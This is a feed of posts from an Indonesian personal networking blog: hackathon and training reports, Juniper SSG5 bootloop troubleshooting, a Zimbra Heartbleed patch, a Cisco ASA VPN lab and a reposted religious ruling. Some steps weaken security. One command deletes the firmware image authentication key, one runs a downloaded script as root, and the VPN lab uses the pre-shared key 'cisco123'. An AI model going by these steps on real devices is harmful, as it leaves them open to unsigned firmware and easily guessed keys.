Mochamad Taufik Romdony

SDN Hackathon 2015

noreply@blogger.com (Anonymous) — Tue, 06 Oct 2015 10:03:00 +0000

Assalamualaikum Wr Wb

pye kabare ?

hahha :D

Lama ga nulis blog :D sekedar ingin nulis mengenai SDN Hackathon 2015 bulan agustus kemarin , agak telat juga sih nulis nya :P tapi gpp lah :D

Apa sih SDN Hackathon itu ? Menurut Wikipedia :

A hackathon, also known as a hack day, hackfest or codefest, is an event in which computer programmers and others involved in software development and hardware development, including graphic designers, interface designers and project managers, collaborate intensively on software projects (Wikipedia).

Software-defined networking (SDN) is an approach to computer networking that allows network administrators to manage network services through abstraction of higher-level functionality. This is done by decoupling the system that makes decisions about where traffic is sent (the control plane) from the underlying systems that forward traffic to the selected destination (the data plane). The inventors and vendors of these systems claim that this simplifies networking. (Wikipedia)

Jadi SDN Hackathon yang saya ikutin waktu itu adalah Hack Marathon untuk membuat solusi SDN yang diadakan oleh PT Jadwat Teknologi Indonesia (read: Project Garuda 2015)

Awalnya tahu acara ini lihat dari facebook nya pak Himawan Nugroho dan nyoba baca persyaratan dan kirim email mengenai skill set nya.

di hari pertama ane ikut workshop mengenai SDN di isi langsung oleh tim Jawdat dan Pak Himawan

dan tibalah di hari H berkumpul dalam satu Tim, oiya tim ane dari berbagai daerah ada dari semarang , bandung dan bali dari universitas yang berbeda-beda juga,

Ada mas haidlir , mas oka dan mas ghofar terkumpul dalam group 1 dan pembagiannya :

Haidlir bagian coding python, Oka bagian devops, Abdul Gofar bagian web app, dan saya openstack & network

Untuk case sebagai berikut :

setelah 30 jam berlalu Alhamdulilah dari 3 case tadi untuk base case kami bisa menyelesaikan semua walaupun dengan beberapa hambatan, untuk advance case kami menyelesaikan di bagian Devops (Configure HTTP Services pakai ansible) dan berhasil dengan cara copy paket thttpd untuk install service web server nya menggunakan ansible dan untuk creativity case nya kita berhasil membuat Service monitoring mengggunakan python.

Tiba lah di hari berikutnya di sore hari untuk presentasi :

Dan applikasi yang kami buat namanya "holybutton", hanya sekali klik untuk automasi semua nya. create vm di openstack, generate key pair, security group, floating ip public dan terakhir push konfigurasi (advertise new subnet into ospf routing protocol, ACL Allow Ping HTTP dan Konfigurasi QOS) ke 3 router cisco agar end to end server bisa terkoneksi.

dan setelah semua group presentasi tibalah waktu penilaian , jreng jreeng ...

and we dit it .....

Alhamdulilah kami group 1 bisa jadi juara 1 di SDN Hackathon 2015 :D

alhamdulilah dari acara SDN Hackathon ini ane pribadi bisa ambil banyak pengalaman, ilmu baru , teman baru. sepulang dari acara ini semakin penasaran dengan materi SDN dan terus belajar buat mengenai teknologi SDN biar bisa bersaing di global market aamiiin hehe

sekian

Wassalamualaikum

Mari Mengenal dan Belajar Networking di ID-Networkers

noreply@blogger.com (Anonymous) — Sun, 09 Nov 2014 08:29:00 +0000

Assalamualaikum Warahmatulahi Wabarakatuh

Memulai tulisan mengenai awal pertama mengenal ID-Networkers (IDN) , awal mula nya saat saya berkenalan dengan teman di salah satu komunitas IT di semarang yaitu mas Aditya Vhisnu. saat itu dia bercerita baru selesai Training Juniper di jakarta dengan menyebut IDN (dapat training juniper gratis dari bos IDN). kemudian dalam pikiran saya ada 2 pertanyaan apa itu IDN dan Training Juniper ? setelah mencari tahu apa itu IDN ternyata tempat Training Networking baik Cisco , Juniper , Mikrotik. satu pertanyaan dalam pikiran saya terjawab karena sudah melihat di official webnya di http://id-networkers.com/ juga dapatlah nama Pak Dedi Gunawan dan Mas Rofiq saat itu dan mulai add FB mereka . setelah itu saya coba bermain ke kampus tempat komunitas IT itu dan kebetulan bertemu dengan mas vhisnu dan bertanya apa itu Juniper dan mulai di jelaskan mengenai itu setelahnya dapat oleh-oleh image olive junos(baca: juniper OS M Series) yang dia dapat waktu training di IDN .

agar lebih tahu apa itu juniper saya coba belajar sendiri. saat itu belum banyak di site lokal yang ada mengenai tutorial juniper terakhir yang pernah saya lihat di blog pak himawan dan mas iwing mengenai emulate junos agar bisa running di GNS3 karena saat di beri olive/image junos oleh mas vhisnu belum begitu paham mengenai cara kerja nya dan saat dia bilang belajar nya CLI dan buat logical router di dalamnya. dan beberapa hari setelah itu saya coba bertemu dengan mas vhisnu di daerah UNDIP Pleburan untuk sekedar ngobrol dan mengcopy modul yang dia dapat sewaktu dia training dan alhasil dapat lah :D

belajar mulai bagaimana cara kerja dan konfigurasi nya , kebetulan untuk modul nya berbahasa indonesia dan agak mudak untuk dipahami. oiya beberapa bulan bulan belajar juniper saya lihat di posting facebook mengenai Training juniper tapi ada daya belum bisa ikut.

ya dalam hati hanya berdoa dan bilang "ada kemauan pasti ada jalan". beberapa bulan setelah nya mulai hijrah ke Ibu Kota berharap bisa dapat pekerjaan yang lebih baik , teman , ilmu dan pengalaman yang banyak ya singkat cerita saya diterima sebagai network engineer di salah satu system & network intergator di Jakarta. dan kebetulan adalah juniper partner dan alhamdulilah saat itu mulai berangan angan agar bisa melanjutkan training dan sertifikasi juniper di IDN saat itu coba bertanya ke atasan apakah boleh ikut training dan sertifikat juniper di tempat lain tapi apa daya untuk training tidak dapat di support hanya di support untuk biaya sertifikasi nya. mulai saat itu browsing mengenai juniper fast track dan alhamdulilah tiba dimana untuk exam juniper JNCIA dan alhamdulilah pass :D

walau sampai saat ini saya belum pernah merasakan bagaimana training di IDN tetapi saya masih bisa ikut bergabung di milist IDN (google groups) bisa mengenal teman baru dan ilmu baru karena disana berisi expert-expert dalam bidang networking yang saling membantu saat salah satu member menemui masalah di dalam network nya atau saat member lainnya membutuhkan masukan dan saran untuk project mereka.

di IDN juga ada beberapa program selain training pada umunya, sampai saat ini yang pernah saya dengar mengenai :
- Rumah belajar IDN
- Beasiswa IDN (Beasiswa untuk di fokuskan menjadi CCIE) sebenarnya berminat untuk program ini dulu tapi ada daya umur saat itu sudah tidak masuk dalam syarat nya sudah berusia 21 tahun. yang saya tahu untuk program ini mereka yang di seleksi dari anak anak muda yang berbakat dan mempunyai dasar network yang bagus dan tentunya berminat nanti nya untuk di fokuskan menjadi CCIE selain ilmu network yang di dapat ada juga ilmu agama yang ditekankan seperti Pesantren (sangat appreciate untuk hal ini) .
- Program pendidikan untuk guru-guru SMK TKJ di indonesia
- CCIE Bootcamp Indonesia

yang bisa saya sampaikan di IDN adalah tempat training dan belajar yang bagus untuk kita yang ingin fokus mendalami jaringan selain itu kita akan dapat teman-teman untuk sharing dan ilmu yang kita dapat dan di milist juga kita bisa dapat info lowongan kerja lho :D.

silahkan untuk teman teman yang ingin mendalamai jaringan dan mengambil sertifikasi seperti cisco , juniper dan mikrotik . IDN tempat yang bisa saya rekomendasikan. saya pribadi inshallah bila sudah ada biaya ingin melanjutkan CCNP dan CCIE di IDN, amiin :)

dan terkahir saya ucapkan selamat ulang tahun ke - 6 untuk ID-Networkers semoga IDN tetap exist , istiqomah, menjadi lebih baik dan tetap bisa menjadi tempat training yang bermanfaat bagi kita para networkers.
"dari engineer untuk engineer" :)

semoga Pak Dedi , Mba Mimin , mas rofiq , mas widi dan keluarga IDN tetap di berikan kesehatan , rizki yang barokah dan bermanfaat. amin allahumma amin

sekian semoga ada yang bermanfaat :)

Wassalamualaikum Warahmatullahi Wabarakatuh.

[Juniper SSG] Policy Based Routing - VPN Site to Site

noreply@blogger.com (Anonymous) — Sat, 25 Oct 2014 12:40:00 +0000

Assalamualaikum Warahamatullahi Wabarakatuh

Apa kabar semua :D

ane coba membuat tutorial mengenai Policy Based Routing - VPN Site to Site di Juniper SSG/ScreenOS

langsung cekidot video tutorialnya ya :D

Troubleshooting Juniper SSG5 Bootloop

noreply@blogger.com (Anonymous) — Mon, 29 Sep 2014 07:08:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh,

ane cuma mau arsipin hasil troubleshoot Juniper SSG 5 milik customer yang datang ga di jemput :D
customer orang jepang yang komplain soal SSG5 nya yang bootloop alias booting terus menerus entah sampe kapan :P

dan disitu ane tanya kronologi sebenarnya bagaimana ?
dan mulai lah di jelaskan : beberapa hari kemarin katanya software nya di upgrade ke versi 6.3 dan setelah di upgrade entah kenapa si junipret SSG5 nya booting terus menerus.

Setelah itu ane mulai browsing-browsing dulu di forum juniper dan alhasil nemu dengan problem yang sama :

http://forums.juniper.net/t5/ScreenOS-Firewalls-NOT-SRX/SSG5-Software-Upgrade-To-or-Beyond-6-2-0r4-0-Causes-Constant/td-p/91592

Penampakan Error / Bootloop nya kaya gini :

1. oke mulai dari situ ane coba downgrade ke version di bawah nya ane coba ScreenOS 6.1 hasilnya setelah upload dengan TFTP ada error :

********Invalid DSA signature
********Bogus image - not authenticated

setelah browsing di KB Juniper dan Forum Juniper ada banyak cara ternyata :
- bisa dengan upload imagekey.cer melalui TFTP :
save image-key tftp 1.1.1.1 imagekey.cer
imagekey.cer nya bisa di download di https://download.juniper.net/software/junos/specials/JTAC/sos/new_image_key/imagekey.cer

- bisa dengan skip bagian image authentication nya :
delete crypto auth-key

2. disini ane coba opsi 2 dengan skip bagian image authentication nya karena waktu nya hanya sekitar 10detik setelah itu bootloop terus menerus mau tidak mau kita harus cepat mengetik command nya :D *kekuatan10Jari

Oke setelah selesai jangan lupa save dan ga usah restart orang booting sendiri nanti (bootloop) :P

3. saat booting perhatikan bagian :

Juniper Networks SSG5 Boot Loader Version 1.3.2 (Checksum: C3E4C0F8)

Total physical memory: 256MB

Test - Pass

Initialization - Done

Hit any key to run loader

Hit any key to run loader << enter/space/any key

Serial Number [0162052010009989]: READ ONLY
HW Version Number [0710]: READ ONLY
Self MAC Address [8071-1f32-e940]: READ ONLY
Boot File Name [ssg5ssg20.6.1.0r5.0]:
Self IP Address [192.168.2.1]:
TFTP IP Address [192.168.2.100]:

sesuaikan untuk ip tftp server nya , setelah itu ada pilihan untuk donwload ke flash (Y)
seharusnya sudah booting dengan normal dengan screenOS 6.1 , karena sebelumnya customer ingin upgrade ke 6.3 tetapi malah bootloop. setelah ada saran dari forum juniper untuk delete konfigurasi DHCP server di SSG5 karena itu BUG di versi 6.1 kemudian baru bisa upgrade ke screenOS 6.3.

unset interface ethernet0/0 dhcp server service

setelah itu ulangi ke point 3.

summary troubleshooting :
- remove/skip image key authentication (delete crypto auth-key) agar image file bisa di authentikasi bukan sebagai bogus image
- downgrade to version ScreenOS 6.1 > masuk ke console remove dhcp server dan dhcp service
- Upgrade to version screenOS 6.3
- Dan selesai Booting dengan normal.

oke semoga bermanfaat untuk rekan lainnya yang mengalami hal yang sama :D

Wassalamualaikum Warahmatullahi Wabarakatuh.

Share Pengalaman Training Cisco SAEXS (ASA Express Security) NGFW

noreply@blogger.com (Anonymous) — Fri, 18 Jul 2014 04:18:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh

ingin sedikit coret coret di blog lagian sudah lama tidak menulis di blog.
jadi kemarin tanggal 16 - 17 Juli 2014 ikut training yang nama nya "Cisco ASA Express Security" di Global Knowledge Indonesia yang katanya Training yang di biayai oleh cisco untuk partner nya.

untuk harga training nya yang lumayan mahal *bisa ikut exam CCIE :P
sekitar 1700USD kalau menurut info di web cisco nya :
http://www.cisco.com/web/partners/specializations/express-security/express_security_firewall.html

kalau untuk training nya dari keseluruhan menarik dan bagus karena Trainer yang menjelaskan materi sesuai pengalaman dan pemahaman nya mengenai security dan perangkat Cisco ASA :
untuk profile trainer nya : http://www.trainingmalaysia.com/v4/kiosk/keypersonnel.php?kp_id=65

materi yang di sampaikan mengenai :
- firewall solution
- stateless firewall , statefull firewall dan next gen firewall
- Introducing the new ASA NGN Services
- How to Sell
- Competition
- Licensing
- Deploying CX
- PRSM
- CX 9.2 Features
- TLS Proxy
- Configuring Anyconnect Mobility Client
- AVC
- CX Policies and Objects
- CX Authentication
- Reporting
- SPAN mode – CX Monitor Mode
- Appendix - Cloud Web Security

dan yang paling menarik kita di sediakan Lab di http://cll.cisco.com dan bisa belajar untuk persiapan exam

dan saya hanya bisa bersyukur alhamdulilah bisa mengikuti training yang seperti ini dan berharap bisa diikutkan training lagi biar bisa tambah ilmu dan bisa di amalkan kembali :D

sekian , selamat menunaikan ibadah puasa ramadhan :)

Wassalamualaikum Warahmatulahi Wabarakatuh

Deploy Juniper Firefly (vSRX) - VMWARE

noreply@blogger.com (Anonymous) — Fri, 09 May 2014 08:30:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh

Apa itu Juniper Firefly ?

kalau dulu pernah dengar mengenai Olive junos yaitu junos untuk perangkat Router m-series tahun 2012 lalu Juniper mengembangkan Juniper Firefly Perimeter atau disebut juga vSRX yang di jalankan di atas VMware Hypervisor (Virtualisasi) dan KVM yang intinya nanti untuk digunakan sebagai Firewall didalam Cloud Network secara fitur yang di tawarkan mirip SRX series seperti UTM, Routing , Firewall Policy , NAT dll hanya fitur ethernet-switching saja yang belum ada seperti di EX Series.

jadi kita yang ingin belajar Juniper SRX tidak usah dengan mengeluarkan biaya untuk membeli real device "virtualization make things a real" :D . untuk vSRX mendukung sampai 10 Interface jadi kita dapat membuat sebuah lab simulasi yang dapat kita jalankan dengan platform lainnya.

vSRX Specs :
- Deploy OVA
- Defaults: 1GB memory, 2 VCPUs, 2GB hard disk
- SRX security features, missing clustering, UTM, IDP dll
- Up to ten virtual physical interfaces
- Hanya Support untuk Virtualisasi vSphere/ESX, Workstation (windows/Linux), VMware Fusion di Mac OSX dan KVM.
- Tidak dapat berjalan dengan VirtualBox, Xen, XenServer, atau yang lainnya.

Scale (VMware ad KVM)
- vRAM Required/Instance 2 GB
- vCPUs Required/Instance 2
- Max vNICs/Instance 10
- Max Zones 128
- Max Address Books 128
- Max Policies 10240
- Max Policies with Count 1024
- Max Applications/Policy 128
- Max Addresses/Policy 1024
- Max Addresses/Address-set 1024
- Max Firewall Sessions 256k
- Max PAT Sessions (Source NAT with PAT 256k
- MAC/ARP Table Size 8k
- Max VLANs 4k
- Max OSPF Routes 160k
- Max VRs Supported 5

atau bisa di lihat dari datasheet nya :
http://www.juniper.net/us/en/local/pdf/datasheets/1000489-en.pdf
http://www.juniper.net/us/en/products-services/security/firefly-perimeter/#evaluation

sekarang saya akan coba untuk deploy ke VMware workstation 10
1. Copy/Import vSRX .ova ke VMware workstation
Login dengan account anda , dapat di download di link berikut :
http://www.juniper.net/support/downloads/?p=junosvfirefly-eval#sw

2. Sebelum Start VM kita edit untuk sesuaikan interface dan Port Serial(console) disini saya menggunakan named pipe

Login : root
(tanpa password)

Sekian Semoga bermanfaat semoga lain waktu bisa membuat tutorial kelanjutan mengenai Juniper vSRX :D

Wassalamualaikum Warahmatullahi Wabarakatuh.

Patch OpenSSL Heartbleed Zimbra 8

noreply@blogger.com (Anonymous) — Wed, 23 Apr 2014 12:46:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh

Beberapa minggu yang lalu mungkin sedang ramai berita mengenai Heartbleed openssl, Heartbleed adalah bug yang memanfaatkan kelemahan di OpenSSL. Dinamakan Heartbleed karena bug ini memanfaatkan fasilitas heartbeat yang ada di OpenSSL (RFC6520) TLS/DTLS .

Dan apa itu heartbeat ?

Heartbeat itu salah satu fitur OpenSSL yang diperkenalkan tahun 2012. Tujuan heartbeat adalah mengecek apakah komputer kamu masih terhubung ke sebuah server. Soalnya, seringkali router—yang menjadi perantara antara komputer kamu dengan server di internet—memutuskan hubungan jika terjadi idle yang terlalu lama. Dengan heartbeat, komputer kamu bisa mengetahui apakah masih terhubung dengan server yang dituju.

Prinsip kerjanya kurang lebih seperti gambar di bawah: komputer kamu akan mengirimkan pesan berisi sebuah magic word dan jumlah karakter kata tersebut. Nanti server akan membalas pesan tersebut dengan menyebutkan magic word tersebut.

Nah bagaimana bila heartbleed ada di dalam server-server atau perangkat jaringan kita tentunya cukup berbahaya dan mengkhawatirkan karena data yang tersimpan di dalam memory server yg sifat nya sangat rahasia.

langsung aja deh untuk patch openssl di zimbra :
1. check versi zimbra

# su - zimbra
$ zmcontrol -v
Release 8.0.6.GA.5922.UBUNTU12.64 UBUNTU12_64 FOSS edition.

2. Check libssl shared library

$ strings /opt/zimbra/openssl/lib/libssl.so | grep dtls1_heartbeat

bila hasil nya seperti ini berarti vulnerable

"dtls1_heartbeat"

3. Patching

(as root)
      1) wget http://files.zimbra.com/downloads/security/zmopenssl-updater.sh
      2) chmod a+rx zmopenssl-updater.sh
      3) ./zmopenssl-updater.sh
 
 ---------------------
 [Generates the following output]
 Downloading patched openssl
 Validating patched openssl: success
 Backing up old openssl: complete
 Installing patched openssl: complete
 OpenSSL patch process complete.
 Please restart Zimbra Collaboration Suite as the Zimbra user via zmcontrol
 restart
 ---------------------

      (as user zimbra)
      4) su - zimbra
      5) zmcontrol restart

Terimakasih semoga bermanfaat
Wassalamualaikum Warahmatullahi Wabarakatuh

Sumber :
http://www.pcplus.co.id/2014/04/fitur/apa-itu-heartbleed/
https://www.zimbra.com/forums/announcements/71042-zcs-8-0-7-has-been-rebuilt-include-fix-openssl-heartbleed-vulnerability.html
https://www.zimbra.com/forums/announcements/70921-critical-security-advisory-patch-openssl-heartbleed-vulnerability.html

Apakah Sah Shalat dalam Keadaan Isbal?

noreply@blogger.com (Anonymous) — Sat, 22 Mar 2014 09:54:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh,

Repost dari web Muslim.or.id.

Kita tahu bahwa isbal itu berarti menjulurkan celana di bawah mata kaki. Apakah jika ada yang shalat dalam keadaan seperti ini, shalatnya sah? Ataukah ia berdosa, namun shalatnya sah?

Kita tahu bahwa orang yang menjulurkan celananya dengan sombong atau pun tidak di bawah mata kaki, maka ia terkena ancaman yang disebutkan dalam hadits dari Abu Huroiroh radhiyallahu ‘anhu, Rasulullah shallallahu ‘alaihi wa sallam bersabda,

مَا أَسْفَلَ مِنَ الْكَعْبَيْنِ مِنَ الإِزَارِ فَفِى النَّارِ

“Kain yang berada di bawah mata kaki itu berada di neraka.” (HR. Bukhari no. 5787)

Bagaimana hukum menjulurkan celana atau kain sarung di bawah mata kaki saat shalat?

Ada hadits yang dibawakan oleh Imam Nawawi dalam Riyadhus Sholihin tentang masalah isbal.

عَنْ أَبِى هُرَيْرَةَ قَالَ بَيْنَمَا رَجُلٌ يُصَلِّى مُسْبِلاً إِزَارَهُ فَقَالَ لَهُ رَسُولُ اللَّهِ -صلى الله عليه وسلم- « اذْهَبْ فَتَوَضَّأْ ». فَذَهَبَ فَتَوَضَّأَ ثُمَّ جَاءَ ثُمَّ قَالَ « اذْهَبْ فَتَوَضَّأْ ». فَقَالَ لَهُ رَجُلٌ يَا رَسُولَ اللَّهِ مَا لَكَ أَمَرْتَهُ أَنْ يَتَوَضَّأَ ثُمَّ سَكَتَّ عَنْهُ قَالَ « إِنَّهُ كَانَ يُصَلِّى وَهُوَ مُسْبِلٌ إِزَارَهُ وَإِنَّ اللَّهَ لاَ يَقْبَلُ صَلاَةَ رَجُلٍ مُسْبِلٍ ».

Dari Abu Hurairah, ia berkata, “Ada seseorang yang shalat dalam keadaan isbal -celananya menjulur di bawah mata kaki-. Rasulullah shallallahu ‘alaihi wa sallam lantas berkata padanya, “Pergilah dan kembalilah berwudhu.” Lalu ia pergi dan berwudhu kemudian ia datang kembali. Rasulullah shallallahu ‘alaihi wa sallam masih berkata, “Pergilah dan kembalilah berwudhu.” Kemudian ada yang berkata, “Wahai Rasulullah, mengapa engkau memerintahkan padanya untuk berwudhu, lantas engkau diam darinya?” Nabi shallallahu ‘alaihi wa sallam lantas bersabda, “Ia shalat dalam keadaan isbal -menjulurkan celana di bawah mata kaki-, padahal Allah tidak menerima shalat dari orang yang isbal.” (HR. Abu Daud no. 4086.).

Takhrij Hadits

Imam Nawawi berkata bahwa sanad hadits ini shahih sesuai syarat Muslim.

Al Hafizh Abu Thohir mengatakan bahwa hadits di atas hasan.

Syaikh ‘Abdul ‘Aziz bin Baz mengkritik pernyataan Imam Nawawi di atas, ia berkata, “Ini adalah kesalahpahaman dari Imam Nawawi rahimahullah. Sanad hadits tersebut bukanlah sesuai syarat Muslim. Bahkan hadits tersebut sebenarnya dhoif dengan dua alasan:

1- Hadits tersebut dari riwayat Abu Ja’far, ia adalah perowi yang majhul (tidak jelas).

2- Hadits ini juga dari riwayat Yahya bin Abi Katsir, dari Abu Ja’far dengan periwayatan ‘an’anah. Seorang perowi mudallis jika ia tidak menegaskan bahwa ia mendengar langsung, maka haditsnya tidak bisa dipakai kecuali terdapat dalam Shahihain (Bukhari dan Muslim). (Fatawa Ibnu Baz, 26: 235-237)

Syaikh Al Albani rahimahullah dalam takhrij Riyadhus Sholihin juga menyatakan hadits ini dhoif.

Murid Syaikh Al Albani, Syaikh Salim bin ‘Ied Al Hilali dalam Bahjatun Nazhirin (2: 83) mengatakan bahwa hadits ini diriwayatkan oleh Abu Daud (638, 4086) dari jalur Thoriq Abu Ja’far, dari ‘Atho’ bin Yasar. Beliau mengatakan bahwa Abu Ja’far tidaklah dikenal, sehingga sanad hadits ini dhoif. Ada dalil yang semakna dari Ibnu Mas’ud di mana diriwayatkan oleh Abu Daud dengan sanad yang shahih, ia berkata bahwa Rasulullah shallallahu ‘alaihi wa sallam bersabda,

مَنْ أَسْبَلَ إِزَارَهُ فِى صَلاَتِهِ خُيَلاَءَ فَلَيْسَ مِنَ اللَّهِ فِى حِلٍّ وَلاَ حَرَامٍ

“Siapa yang shalat dalam keadaan isbal disertai kesombongan, maka Allah tidak memberikan jaminan halal dan haram untuknya.” (HR. Abu Daud no. 637, shahih kata Syaikh Salim)

Shalat dalam Keadaan Isbal

Syaikh ‘Abdul ‘Aziz bin Baz rahimahullah berkata, “Seandainya hadits tersebut shahih, maka maknanya adalah ancaman yang keras bagi pelaku isbal di dalam shalat. Hadits yang disebutkan di atas berisi peringatan bagi pelaku isbal. Adapun shalatnya tetap sah. Karena Rasulullah shallallahu ‘alaihi wa sallam tidak memerintahkan padanya untuk mengulangi shalat, yang diperintah hanyalah mengulangi wudhu. Penafian dalam diterimanya shalat bukan berarti shalat tersebut jadi batal seluruhnya. Karena dalam hadits lain disebutkan, “Siapa saja yang mendatangi tukang ramal lalu ia bertanya ramalan sesuatu, maka shalatnya selama 40 hari tidak diterima.” Sebagaimana hadits ini diriwayatkan oleh Imam Muslim dalam kitab shahihnya.

Imam Nawawi pun telah menukil adanya ijma’ (konsensus ulama) bahwa shalat orang yang isbal tadi tidak perlu diulangi. Cuma orang yang shalat seperti itu terkena ancaman dan peringatan. Juga terdapat pandangan dari berbagai hadits yang lain yang menunjukkan bahwa tidak diterima shalat dalam hadits yang membicarakan isbal tidaklah menunjukkan batalnya shalat. Karena Rasulullah shallallahu ‘alaihi wa sallam sendiri tidak memerintahkan mengulangi shalat. Begitu pula dalam hadits Ibnu Mas’ud tidak menunjukkan shalatnya diulangi.

Jadi, maksud Nabi shallallahu ‘alaihi wa sallam adalah mengulangi wudhu cuma sebagai peringatan. Dan wudhu juga dapat meringankan dosa. Nah itu jika dianggap hadits tersebut shahih.” (Fatawa Ibnu Baz, 26: 235-237)

Syaikh Muhammad bin Sholeh Al ‘Utsaimin berkata, “Shalat orang yang isbal itu sah, akan tetapi ia berdosa. Begitu pula seseorang yang memakai pakaian yang haram seperti baju hasil curian, baju yang terdapat gambar makhluk bernyawa, baju yang terdapat simbol salib atau terdapat gambar hewan. Semua baju seperti itu terlarang saat shalat dan di luar shalat. Shalat dalam keadaan isbal tetap sah, akan tetapi berdosa karena mengenakan pakaian seperti itu. Inilah pendapat terkuat dalam masalah ini. Karena larangan berpakaian isbal bukan khusus untuk shalat. Mengenakan pakaian haram berlaku seperti itu saat shalat dan di luar shalat. Dikarenakan tidak khusus untuk shalat, maka shalat tersebut tidaklah batal. Inilah kaedah yang benar yang dianut oleh jumhur atau mayoritas ulama.” (Syarh Riyadhus Sholihin, 4: 300-301).

Semoga Allah memberikan kepahaman. Hanya Allah yang memberi taufik.

—

@ Pesantren Darush Sholihin Panggang Gunungkidul, 20 Jumadal Ula 1435 H

Penulis: Muhammad Abduh Tuasikal

Artikel Muslim.Or.Id

Site to Site VPN Tunnel Cisco ASA 8.4.2 - GNS3

noreply@blogger.com (Anonymous) — Thu, 06 Mar 2014 05:44:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh

ingin menulis dan berbagi tutorial mengenai VPN Site to Site di Cisco ASA, dan disini ane simulasikan menggunakan GNS3 dengan ASA 8.4.2. kalau di postingan sebelumnya VPN Site to Site menggunakan Juniper :)

http://motaroirhaby.blogspot.com/2013/12/konfigurasi-ipsec-site-to-site-vpn-di.html

sebenarnya untuk langkah nya tidak jauh beda hanya CLI yang membedakan dan untuk ketentuan sebagai berikut :

- Define Local Network and Remote Network using Object network
- Create ACL to permit IP and ICMP traffic to the remote network
- Configure NAT
- Create ISAKMP/IKEV1 policy and enable it
- Create the IPSEC transform set (hashing and encryption)
- Create the Tunnel Group
- Create a Crypto Map and enable it
- Ping from inside node to trigger the tunnel

oke dengan topology seperti ini :

deskripsi nya sih kita buat 2 network yang berbeda dengan 2 Cisco ASA sebagai Tunnel VPN nya yang masing masing ASA default route ke ASA yang ada di depannya . bila di implementasikan di real network Menggunakan IP Public dan gateway ke ISP yang di gunakan.

Dan berikut ISAKMP / IKE Policy nya :

Oke kita masuk ke konfigurasi nya :

Konfigurasi ASA1 :

!
hostname ASA1
!
interface GigabitEthernet0
nameif outside
security-level 0
ip address 10.10.10.1 255.255.255.252
!
interface GigabitEthernet1
nameif inside
security-level 100
ip address 192.168.100.1 255.255.255.0
!
route outside 0.0.0.0 0.0.0.0 10.10.10.2 1

1. Define Local Network and Remote Network using Object network

object network LocalNetwork
subnet 192.168.100.0 255.255.255.0
object network RemoteNetwork
subnet 192.168.200.0 255.255.255.0

2. Create ACL to permit IP and ICMP traffic to the remote network

access-list Site1-to-Site2 extended permit ip object LocalNetwork object RemoteNetwork
access-list NAT extended permit ip object LocalNetwork object RemoteNetwork

3. Configure NAT

nat (inside) 0 access-list NAT

4. Create ISAKMP/IKEV1 policy and enable it

crypto isakmp identity address
crypto ikev1 enable outside
crypto ikev1 policy 1
authentication pre-share
encryption aes-256
hash sha
group 2
lifetime 86400

5. Create the IPSEC transform set (hashing and encryption)

crypto ipsec ikev1 transform-set ASA1Tranform-set esp-aes-256 esp-sha-hmac

6. Create the Tunnel Group

tunnel-group 10.10.10.2 type ipsec-l2l
tunnel-group 10.10.10.2 ipsec-attributes
ikev1 pre-shared-key cisco123

7. Create a Crypto Map and enable it

crypto map ASA1VPN 1 match address Site1-to-Site2
crypto map ASA1VPN 1 set pfs
crypto map ASA1VPN 1 set peer 10.10.10.2
crypto map ASA1VPN 1 set ikev1 transform-set ASA1Tranform-set
crypto map ASA1VPN 1 set security-association lifetime seconds 28800
crypto map ASA1VPN interface outside

Konfigurasi ASA2 :

!
hostname ASA2
!
interface GigabitEthernet0
nameif outside
security-level 0
ip address 10.10.10.2 255.255.255.252
!
interface GigabitEthernet1
nameif inside
security-level 100
ip address 192.168.200.1 255.255.255.0
!
route outside 0.0.0.0 0.0.0.0 10.10.10.1 1

1. Define Local Network and Remote Network using Object network

object network LocalNetwork
subnet 192.168.200.0 255.255.255.0
object network RemoteNetwork
subnet 192.168.100.0 255.255.255.0

2. Create ACL to permit IP and ICMP traffic to the remote network

access-list Site2-to-Site1 extended permit ip object LocalNetwork object RemoteNetwork
access-list NAT extended permit ip object LocalNetwork object RemoteNetwork

3. Configure NAT

nat (inside) 0 access-list NAT

4. Create ISAKMP/IKEV1 policy and enable it

crypto isakmp identity address
crypto ikev1 enable outside
crypto ikev1 policy 1
authentication pre-share
encryption aes-256
hash sha
group 2
lifetime 86400

5. Create the IPSEC transform set (hashing and encryption)

crypto ipsec ikev1 transform-set ASA2Tranform-set esp-aes-256 esp-sha-hmac

6. Create the Tunnel Group

tunnel-group 10.10.10.1 type ipsec-l2l
tunnel-group 10.10.10.1 ipsec-attributes
ikev1 pre-shared-key cisco123

7. Create a Crypto Map and enable it

crypto map ASA2VPN 1 match address Site2-to-Site1
crypto map ASA2VPN 1 set pfs
crypto map ASA2VPN 1 set peer 10.10.10.1
crypto map ASA2VPN 1 set ikev1 transform-set ASA1Tranform-set
crypto map ASA2VPN 1 set security-association lifetime seconds 28800
crypto map ASA2VPN interface outside

8. Ping from inside node to trigger the tunnel
nah kita coba ping dari host inside local network ke remote network .

nah dari hasil ping kita dah bisa ping dari local network ke remote network dan begitu sebaliknya.
kita check SA nya apakah sudah up , harusnya sudah :D

nah bila kita implementasi di Real Network bila SA sudah up tetapi masing masing network belum dapat mengakses satu sama lain kita tambahkan/check ulang mengenai Access Rule dan NAT nya. *pengalaman pribadi dulu pernah seperti itu :D

untuk lebih jelasnya ane buatin Video Tutorial nya sebagai pelengkap nya .

Oke , Sekian Semoga Bermanfaat bila ada hal yang ingin ditanyakan silahkan di comment dan kirim email/skype ke ane yaa :D

Wassalamualaikum Warahmatullahi Wabarakatuh

RIP Lab Configuration

noreply@blogger.com (Anonymous) — Thu, 06 Mar 2014 03:21:00 +0000

Assalamualaikum Warahmatullahi Wabarakatuh

disini ane mau buat contoh simple konfigurasi RIP.

apa itu RIP ?

